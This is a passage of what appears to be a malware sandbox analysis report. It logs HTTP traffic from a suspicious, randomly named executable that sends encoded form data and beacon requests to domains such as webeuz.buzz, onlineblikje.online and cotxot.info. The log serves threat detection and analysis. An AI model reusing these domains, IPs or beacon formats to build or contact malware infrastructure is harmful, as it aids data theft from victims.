4a 59 72 52 4a 31 56 41 6c 75 71 68 59 76 72 74 32 48 67 7a 47 35 51 42 57 4c 74 67 4c 6e 4c 56 72 6c 56 72 76 48 62 5a 4a 6b 4b 37 41 65 42 49 31 37 7a 4a 72 4e 4f 7a 51 51 69 42 41 61 58 41 72 35 51 6f 6a 7a 57 56 59 76 6f 79 70 63 5a 6e 43 47 38 57 64 4f 32 6d 5a 39 55 52 41 6f 64 7a 77 64 6f 4e 61 76 44 69 2b 55 2b 4f 35 58 45 31 32 2f 44 70 68 48 77 55 41 39 66 6f 6e 51 36 67 68 49 63 52 67 58 6a 4d 4c 38 47 37 6f 72 71 7a 34 4a 6f 37 72 57 56 38 75 2f 4c 35 32 6c 5a 42 33 67 68 78 76 45 53 45 69 6a 50 72 4a 58 38 43 6a 72 67 47 48 58 7a 49 52 42 37 75 6f 49 67 55 34 3d Data Ascii: 6v1=7UZkThwU1hrUEe25jTxEjFJYrRJ1VAluqhYvrt2HgzG5QBWLtgLnLVrlVrvHbZJkK7AeBI17zJrNOzQQiBAaXAr5QojzWVYvoypcZnCG8WdO2mZ9URAodzwdoNavDi+U+O5XE12/DphHwUA9fonQ6ghIcRgXjML8G7orqz4Jo7rWV8u/L52lZB3ghxvESEijPrJX8CjrgGHXzIRB7uoIgU4=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49757	75.2.103.23	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:11.321413040 CEST	3867	OUT	POST /okq4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.webeuz.buzz Origin: http://www.webeuz.buzz Referer: http://www.webeuz.buzz/okq4/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 37 55 5a 6b 54 68 77 55 31 68 72 55 45 65 32 35 6a 54 78 45 6a 46 4a 59 72 52 4a 31 56 41 6c 75 71 68 59 76 72 74 32 48 67 7a 4f 35 52 7a 75 4c 75 48 6e 6e 61 6c 72 6c 4b 62 76 47 62 5a 4a 6c 4b 37 59 53 42 49 35 46 7a 4c 54 4e 50 52 59 51 71 56 73 61 64 41 72 35 66 49 6a 32 53 56 59 66 6f 79 5a 51 5a 6a 6d 47 38 57 64 4f 32 67 31 39 43 77 41 6f 4e 44 77 65 68 74 61 5a 49 43 2b 38 2b 4b 55 6f 45 31 36 46 44 39 64 48 77 31 38 39 5a 4b 50 51 6e 51 68 4b 64 52 67 50 6a 4d 57 37 47 37 31 59 71 7a 6b 33 6f 38 33 57 58 71 62 58 62 6f 7a 36 44 42 37 32 75 42 6a 4c 55 79 37 79 53 35 70 79 77 53 44 73 6a 53 6a 48 74 5a 39 52 68 4c 73 38 79 30 4f 6f 73 57 33 2b 62 55 62 76 58 64 65 53 47 64 57 30 4c 54 43 48 56 74 32 73 57 46 4b 55 6a 63 63 37 77 41 59 79 2f 6f 33 2b 48 53 39 58 45 5a 42 4e 68 50 58 70 4d 77 39 59 56 31 63 69 51 67 69 54 77 78 65 6f 6e 42 31 6a 48 4a 67 2f 4e 6b 54 6f 41 77 44 6f 48 48 79 74 30 54 5a 7a 6c 61 2f 7a 31 75 72 67 41 48 31 4f 48 46 77 36 4d 59 45 34 47 37 4b 7a 32 72 [TRUNCATED] Data Ascii: 6v1=7UZkThwU1hrUEe25jTxEjFJYrRJ1VAluqhYvrt2HgzO5RzuLuHnnalrlKbvGbZJlK7YSBI5FzLTNPRYQqVsadAr5fIj2SVYfoyZQZjmG8WdO2g19CwAoNDwehtaZIC+8+KUoE16FD9dHw189ZKPQnQhKdRgPjMW7G71Yqzk3o83WXqbXboz6DB72uBjLUy7yS5pywSDsjSjHtZ9RhLs8y0OosW3+bUbvXdeSGdW0LTCHVt2sWFKUjcc7wAYy/o3+HS9XEZBNhPXpMw9YV1ciQgiTwxeonB1jHJg/NkToAwDoHHyt0TZzla/z1urgAH1OHFw6MYE4G7Kz2rirzB9iYlJL8po+wOeVjSoQHOncXDxB1LBatHv7LvW+Rpj+UGZU650NtX1AzU5FNs5yeEryfjWpMlL+DEcj7AGV/Q2D6QGp1EIY0j4ozQ61/sbRdPHAZwewk50tSUKJ0JYn876Jp/mMCwx9ixGG0Nb9UuOm7IpKu9HLs+00ARW1zyKcphS8FvCvVq8NjhAe5eMv4WHj3oYE4NROKex+6kx0WR/W3RIaHzwX+UxHTT3t0HPtcPIecWmxzSCXsd9x8NJjyKePTR4eMwUBJl1pShbgvg7/R8aEcVUmIp+ZfatB/uvfDQ2AJdlffLcC9RU9m0ahilw8lXzkdS8AbrQ2g+xShHAm0z7dKOd90fMn2fqdXBy3YJUX97VV4f/s6S1+BotxBcH0uvTU3RKh4H9yqk5pgTwLUK7qyLP1ZiJ5zDxvnoiuF3lENJcJsUbu+zjIB+Yy3ifI5GzDvBvlNdChZGlvkSXZYB6dEB4dTV29+pRBfQu7vBNgrvOxXcm1BmN3m+N41F59fKW2aq15/OPipp6JAtys5nHJzdR+K3sQqCcJCa6S+KS5Drn+1ESv/HiCqd2OV1jnn0ridEZf607KePQQvE+VrSGbes5aNeFstEWq3H0h8e1r9mA0z3x/hRHcY7jw3t8KtAQWdftyKbMoeyCpxI7DyNeOsmmA [TRUNCATED]
Oct 8, 2024 15:23:11.321461916 CEST	4090	OUT	Data Raw: 2b 41 31 63 31 78 6e 74 2f 79 49 6b 70 52 5a 55 44 4d 38 7a 64 53 4c 39 4c 38 41 74 59 71 4d 35 52 31 53 36 6f 72 56 6e 51 75 72 65 6c 6a 75 34 6d 6d 43 49 64 34 4a 66 75 45 6d 50 4e 47 4c 69 38 4d 79 67 45 42 72 76 66 54 79 32 54 32 51 64 34 77 Data Ascii: +A1c1xnt/yIkpRZUDM8zdSL9L8AtYqM5R1S6orVnQurelju4mmCId4JfuEmPNGLi8MygEBrvfTy2T2Qd4wWo+u+LsuzxNBRMd/2UJTxfO5eakoVG7a1SPSApG+XJjUCFSepbToNrwtufy3+BXNqwW0EzBpxN0nwLe76SI8Sh1MuQu1RcXrESmORjodtnp7sHUS1B9Gc9bWtl1ErQWKA5xxulWN/Iw8QnmjZ2t4tCzoneB2etvdk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49758	75.2.103.23	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:13.956926107 CEST	529	OUT	GET /okq4/?dX7=sns4Fhmpql&6v1=2WxEQU4T/BL7ecebjCV6s19C2xUJUglk1Ap4rsCKgUGRI3XzxiL9bWjwEKWZc8F/Hodpf6FZ6O7fHzMchx0kX3zpeODOVW01uVkDQGLdyUNjyhRqakBgKzQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.webeuz.buzz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:23:14.061331034 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:23:14 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 26 36 76 31 3d 32 57 78 45 51 55 34 54 2f 42 4c 37 65 63 65 62 6a 43 56 36 73 31 39 43 32 78 55 4a 55 67 6c 6b 31 41 70 34 72 73 43 4b 67 55 47 52 49 33 58 7a 78 69 4c 39 62 57 6a 77 45 4b 57 5a 63 38 46 2f 48 6f 64 70 66 36 46 5a 36 4f 37 66 48 7a 4d 63 68 78 30 6b 58 33 7a 70 65 4f 44 4f 56 57 30 31 75 56 6b 44 51 47 4c 64 79 55 4e 6a 79 68 52 71 61 6b 42 67 4b 7a 51 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?dX7=sns4Fhmpql&6v1=2WxEQU4T/BL7ecebjCV6s19C2xUJUglk1Ap4rsCKgUGRI3XzxiL9bWjwEKWZc8F/Hodpf6FZ6O7fHzMchx0kX3zpeODOVW01uVkDQGLdyUNjyhRqakBgKzQ="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49759	213.249.67.10	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:19.428404093 CEST	812	OUT	POST /mgmi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.onlineblikje.online Origin: http://www.onlineblikje.online Referer: http://www.onlineblikje.online/mgmi/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 2b 74 59 42 34 62 65 37 57 58 50 58 6c 61 62 5a 6f 72 78 2f 66 30 4e 4f 4d 7a 63 5a 2f 35 6f 52 39 76 35 30 6b 50 76 42 30 78 65 79 55 4b 2f 72 7a 4e 65 62 34 6e 61 52 71 39 49 53 67 31 79 38 46 6f 69 57 44 72 5a 73 2b 65 48 7a 72 74 72 50 47 53 44 53 6f 36 66 37 33 53 78 71 65 2f 61 6b 38 44 41 6b 65 4f 68 6e 6b 6f 72 2f 42 4f 6f 5a 46 54 51 57 30 6c 38 57 63 4a 30 42 58 4d 75 41 45 57 7a 71 35 75 49 45 54 38 77 44 5a 56 62 7a 31 51 75 79 34 66 65 76 35 48 63 31 70 38 74 72 38 5a 71 67 6b 6f 4c 78 75 6d 55 74 42 56 77 68 55 4d 78 52 4a 74 32 65 54 35 31 30 37 46 53 6c 50 67 3d 3d Data Ascii: 6v1=+tYB4be7WXPXlabZorx/f0NOMzcZ/5oR9v50kPvB0xeyUK/rzNeb4naRq9ISg1y8FoiWDrZs+eHzrtrPGSDSo6f73Sxqe/ak8DAkeOhnkor/BOoZFTQW0l8WcJ0BXMuAEWzq5uIET8wDZVbz1Quy4fev5Hc1p8tr8ZqgkoLxumUtBVwhUMxRJt2eT5107FSlPg==
Oct 8, 2024 15:23:19.607518911 CEST	206	IN	HTTP/1.1 302 Found Date: Tue, 08 Oct 2024 13:23:19 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49760	213.249.67.10	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:22.142191887 CEST	832	OUT	POST /mgmi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.onlineblikje.online Origin: http://www.onlineblikje.online Referer: http://www.onlineblikje.online/mgmi/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 2b 74 59 42 34 62 65 37 57 58 50 58 6a 36 48 5a 6b 6f 5a 2f 5a 55 4e 50 4a 7a 63 5a 74 35 6f 56 39 76 31 30 6b 4e 43 65 30 48 4f 79 55 72 50 72 68 2f 6d 62 37 6e 61 52 6b 64 49 64 39 6c 7a 77 46 70 65 30 44 75 5a 73 2b 66 6a 7a 72 74 62 50 47 46 33 64 75 71 66 35 75 43 78 30 64 50 61 6b 38 44 41 6b 65 50 51 49 6b 73 48 2f 42 64 41 5a 48 79 51 56 39 46 38 56 57 70 30 42 41 38 75 4d 45 57 7a 63 35 72 52 76 54 2b 34 44 5a 51 6e 7a 32 43 57 78 79 66 65 70 30 6e 64 66 76 4f 67 47 7a 36 47 76 74 59 53 69 73 54 6f 43 4a 6a 68 37 4a 2b 46 31 4b 2b 71 73 58 4a 4d 63 35 48 54 2b 53 6f 53 41 38 4e 69 35 59 65 46 4f 75 6d 4a 72 47 45 74 68 38 55 30 3d Data Ascii: 6v1=+tYB4be7WXPXj6HZkoZ/ZUNPJzcZt5oV9v10kNCe0HOyUrPrh/mb7naRkdId9lzwFpe0DuZs+fjzrtbPGF3duqf5uCx0dPak8DAkePQIksH/BdAZHyQV9F8VWp0BA8uMEWzc5rRvT+4DZQnz2CWxyfep0ndfvOgGz6GvtYSisToCJjh7J+F1K+qsXJMc5HT+SoSA8Ni5YeFOumJrGEth8U0=
Oct 8, 2024 15:23:22.317989111 CEST	206	IN	HTTP/1.1 302 Found Date: Tue, 08 Oct 2024 13:23:22 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49761	213.249.67.10	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:24.845937967 CEST	6445	OUT	POST /mgmi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.onlineblikje.online Origin: http://www.onlineblikje.online Referer: http://www.onlineblikje.online/mgmi/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 2b 74 59 42 34 62 65 37 57 58 50 58 6a 36 48 5a 6b 6f 5a 2f 5a 55 4e 50 4a 7a 63 5a 74 35 6f 56 39 76 31 30 6b 4e 43 65 30 48 47 79 56 5a 48 72 7a 75 6d 62 36 6e 61 52 37 74 49 4e 39 6c 7a 35 46 6f 32 77 44 75 63 54 2b 64 72 7a 71 4f 6a 50 57 68 72 64 6e 71 66 35 7a 53 78 70 65 2f 61 78 38 43 77 67 65 4f 73 49 6b 73 48 2f 42 59 45 5a 44 6a 51 56 37 46 38 57 63 4a 30 46 58 4d 75 67 45 51 62 4d 35 72 6b 55 51 50 59 44 65 77 58 7a 7a 78 75 78 77 2f 65 72 34 48 64 48 76 4f 73 46 7a 36 62 55 74 59 58 2f 73 56 4d 43 4d 57 4d 63 59 2b 35 55 54 34 32 5a 55 34 63 54 31 33 54 69 51 59 61 42 7a 2b 43 4d 52 65 6c 66 78 33 68 63 53 6b 4a 77 70 55 52 73 55 49 48 6c 73 70 68 5a 76 2b 31 58 52 47 62 47 79 44 74 69 31 53 50 61 30 70 4a 32 4b 43 6e 32 47 65 34 32 39 33 52 6f 37 35 77 4d 54 39 76 4d 39 76 49 63 6e 48 49 73 6a 78 48 66 67 49 43 6f 35 64 70 73 6a 71 41 62 62 76 6f 65 64 72 67 5a 38 49 49 49 30 39 6a 58 4f 5a 64 69 6c 6a 62 50 69 75 48 30 76 79 50 63 4a 35 70 77 71 30 53 58 55 4e 44 35 4d 70 [TRUNCATED] Data Ascii: 6v1=+tYB4be7WXPXj6HZkoZ/ZUNPJzcZt5oV9v10kNCe0HGyVZHrzumb6naR7tIN9lz5Fo2wDucT+drzqOjPWhrdnqf5zSxpe/ax8CwgeOsIksH/BYEZDjQV7F8WcJ0FXMugEQbM5rkUQPYDewXzzxuxw/er4HdHvOsFz6bUtYX/sVMCMWMcY+5UT42ZU4cT13TiQYaBz+CMRelfx3hcSkJwpURsUIHlsphZv+1XRGbGyDti1SPa0pJ2KCn2Ge4293Ro75wMT9vM9vIcnHIsjxHfgICo5dpsjqAbbvoedrgZ8III09jXOZdiljbPiuH0vyPcJ5pwq0SXUND5MpgoN4fR8DwonsBO0LdTuGnN9O8Kze/GyQUCrg2e6CpCM/JOM72mYANgCXfr6WsI2z/cKDEC5L4yT9+yMS/SYNB5LDKWnQfX6RV7x0u8+v/vVXaDLh/z91fz5zrDvyx6J4wF2bx1Tav38ldB8XNcUNU/hHePoMO+OI6+79ilIkfLoekmpMbwdHg89X4g4XuHwZaXiSKgz3avNo7Y3LMcK0Rx/m1x70gvKVDQVJTr1jBb9Ytsisn0s2LRzA2ikNtLGxKiBiEj6Uoh5511iRikXaFsmwhfqt8oAfSLqa9+aSsYBI5GaEVFmJgdS9cGxQBp6czG5WBjFp7fItObcQ2bESicjnimxZgqgctyRLEWcbwNO9/3VJiJ/9nmw6ekC/petN9PkYM0W0LqwUCRauyJR4zOh5d8xEjDV96l3kcWhW6TwNug0B1A5N2ZuxLN+L0tqhlWcsyDPX5fDdBLy+MtQPMufiwCgsCQUxJKWqeUq0tIWWgU/7T8SISrvA5fWPYGgXtJLkJOt83Pvry/w+Cx3zZ1hpC9RnbixSPOSyeHLFuevyiqWwsD/RzMqUrVNItuSyej2pBHMdRIZv72G1oZCC/PKS6Zr0RAhwIQ+qhGeD9zp4poi8UnqaxNkhezA14qtDya1x6chf0dB/Hj2mKJlbznerx7TW9Zsbxo [TRUNCATED]
Oct 8, 2024 15:23:24.846020937 CEST	1536	OUT	Data Raw: 32 68 51 47 32 62 5a 79 6c 64 68 42 6e 63 53 77 38 62 30 47 6e 4f 69 54 72 33 77 66 72 51 79 52 59 55 7a 59 71 6f 78 36 64 50 79 7a 2f 63 51 72 75 57 67 2b 6f 6c 6a 58 31 53 61 62 4b 6b 51 46 49 6a 6c 7a 68 50 61 51 66 5a 67 4a 5a 74 69 79 53 77 Data Ascii: 2hQG2bZyldhBncSw8b0GnOiTr3wfrQyRYUzYqox6dPyz/cQruWg+oljX1SabKkQFIjlzhPaQfZgJZtiySwEEQvwiUbzO6Wc+ut7njUkAnszYS3neEwVkXvh9+N/BwOmY/kTkAFF/I+0tAG/fbFgeWs24EFFYMU6JVGUYZiKcbZgeUrpKcTvAx866FOKkX2ksuNUdHwIwX0sbgToah5ckFbeKXth7nnnEDJQcr3dBb8NAM2oosVi
Oct 8, 2024 15:23:25.024413109 CEST	206	IN	HTTP/1.1 302 Found Date: Tue, 08 Oct 2024 13:23:24 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49762	213.249.67.10	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:27.545782089 CEST	537	OUT	GET /mgmi/?6v1=zvwh7ubIdEWohqDuzJhOcTQuEw06rekL9c1B89+Q9HWtEdC0uPPQ0EqtqMYT9SXBL4zQcJgu2aXGmMqdRF79v+yA2z9dUemD6ztacbQStu6Eafl8EkpMryg=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.onlineblikje.online Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:23:27.724241018 CEST	346	IN	HTTP/1.1 302 Found Date: Tue, 08 Oct 2024 13:23:27 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/?6v1=zvwh7ubIdEWohqDuzJhOcTQuEw06rekL9c1B89+Q9HWtEdC0uPPQ0EqtqMYT9SXBL4zQcJgu2aXGmMqdRF79v+yA2z9dUemD6ztacbQStu6Eafl8EkpMryg=&dX7=sns4Fhmpql Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49763	209.74.64.187	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:23:33.201800108 CEST	788	OUT	POST /fqdb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cotxot.info Origin: http://www.cotxot.info Referer: http://www.cotxot.info/fqdb/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 31 51 4e 77 44 7a 53 49 78 68 41 51 71 4b 47 31 65 61 71 39 41 53 4f 49 43 66 44 58 33 51 6c 39 41 30 6e 4b 38 76 4c 48 47 52 45 79 68 42 6c 39 49 6d 67 6e 6a 49 59 44 42 35 45 53 38 68 50 50 7a 34 4a 62 52 41 6a 70 70 42 75 50 74 57 6f 58 6b 4d 51 64 4c 48 63 2f 43 42 78 2f 44 37 74 6a 46 6b 49 51 63 51 52 54 54 56 61 38 44 2b 6a 45 6b 72 33 5a 4f 4f 78 2b 42 55 76 62 77 49 66 2b 52 75 6a 7a 35 52 67 4c 48 37 49 45 4f 52 43 5a 76 75 35 67 79 38 6d 53 78 48 77 51 5a 64 38 38 44 63 68 47 4b 68 57 6a 4c 45 79 68 77 52 53 39 44 2f 45 6d 33 6a 53 56 53 73 44 34 44 68 6b 32 41 3d 3d Data Ascii: 6v1=e1QNwDzSIxhAQqKG1eaq9ASOICfDX3Ql9A0nK8vLHGREyhBl9ImgnjIYDB5ES8hPPz4JbRAjppBuPtWoXkMQdLHc/CBx/D7tjFkIQcQRTTVa8D+jEkr3ZOOx+BUvbwIf+Rujz5RgLH7IEORCZvu5gy8mSxHwQZd88DchGKhWjLEyhwRS9D/Em3jSVSsD4Dhk2A==
Oct 8, 2024 15:23:33.829466105 CEST	788	OUT	POST /fqdb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cotxot.info Origin: http://www.cotxot.info Referer: http://www.cotxot.info/fqdb/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 31 51 4e 77 44 7a 53 49 78 68 41 51 71 4b 47 31 65 61 71 39 41 53 4f 49 43 66 44 58 33 51 6c 39 41 30 6e 4b 38 76 4c 48 47 52 45 79 68 42 6c 39 49 6d 67 6e 6a 49 59 44 42 35 45 53 38 68 50 50 7a 34 4a 62 52 41 6a 70 70 42 75 50 74 57 6f 58 6b 4d 51 64 4c 48 63 2f 43 42 78 2f 44 37 74 6a 46 6b 49 51 63 51 52 54 54 56 61 38 44 2b 6a 45 6b 72 33 5a 4f 4f 78 2b 42 55 76 62 77 49 66 2b 52 75 6a 7a 35 52 67 4c 48 37 49 45 4f 52 43 5a 76 75 35 67 79 38 6d 53 78 48 77 51 5a 64 38 38 44 63 68 47 4b 68 57 6a 4c 45 79 68 77 52 53 39 44 2f 45 6d 33 6a 53 56 53 73 44 34 44 68 6b 32 41 3d 3d Data Ascii: 6v1=e1QNwDzSIxhAQqKG1eaq9ASOICfDX3Ql9A0nK8vLHGREyhBl9ImgnjIYDB5ES8hPPz4JbRAjppBuPtWoXkMQdLHc/CBx/D7tjFkIQcQRTTVa8D+jEkr3ZOOx+BUvbwIf+Rujz5RgLH7IEORCZvu5gy8mSxHwQZd88DchGKhWjLEyhwRS9D/Em3jSVSsD4Dhk2A==
Oct 8, 2024 15:23:34.673015118 CEST	788	OUT	POST /fqdb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.cotxot.info Origin: http://www.cotxot.info Referer: http://www.cotxot.info/fqdb/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 31 51 4e 77 44 7a 53 49 78 68 41 51 71 4b 47 31 65 61 71 39 41 53 4f 49 43 66 44 58 33 51 6c 39 41 30 6e 4b 38 76 4c 48 47 52 45 79 68 42 6c 39 49 6d 67 6e 6a 49 59 44 42 35 45 53 38 68 50 50 7a 34 4a 62 52 41 6a 70 70 42 75 50 74 57 6f 58 6b 4d 51 64 4c 48 63 2f 43 42 78 2f 44 37 74 6a 46 6b 49 51 63 51 52 54 54 56 61 38 44 2b 6a 45 6b 72 33 5a 4f 4f 78 2b 42 55 76 62 77 49 66 2b 52 75 6a 7a 35 52 67 4c 48 37 49 45 4f 52 43 5a 76 75 35 67 79 38 6d 53 78 48 77 51 5a 64 38 38 44 63 68 47 4b 68 57 6a 4c 45 79 68 77 52 53 39 44 2f 45 6d 33 6a 53 56 53 73 44 34 44 68 6b 32 41 3d 3d Data Ascii: 6v1=e1QNwDzSIxhAQqKG1eaq9ASOICfDX3Ql9A0nK8vLHGREyhBl9ImgnjIYDB5ES8hPPz4JbRAjppBuPtWoXkMQdLHc/CBx/D7tjFkIQcQRTTVa8D+jEkr3ZOOx+BUvbwIf+Rujz5RgLH7IEORCZvu5gy8mSxHwQZd88DchGKhWjLEyhwRS9D/Em3jSVSsD4Dhk2A==
Oct 8, 2024 15:23:34.975359917 CEST	533	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:23:34 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 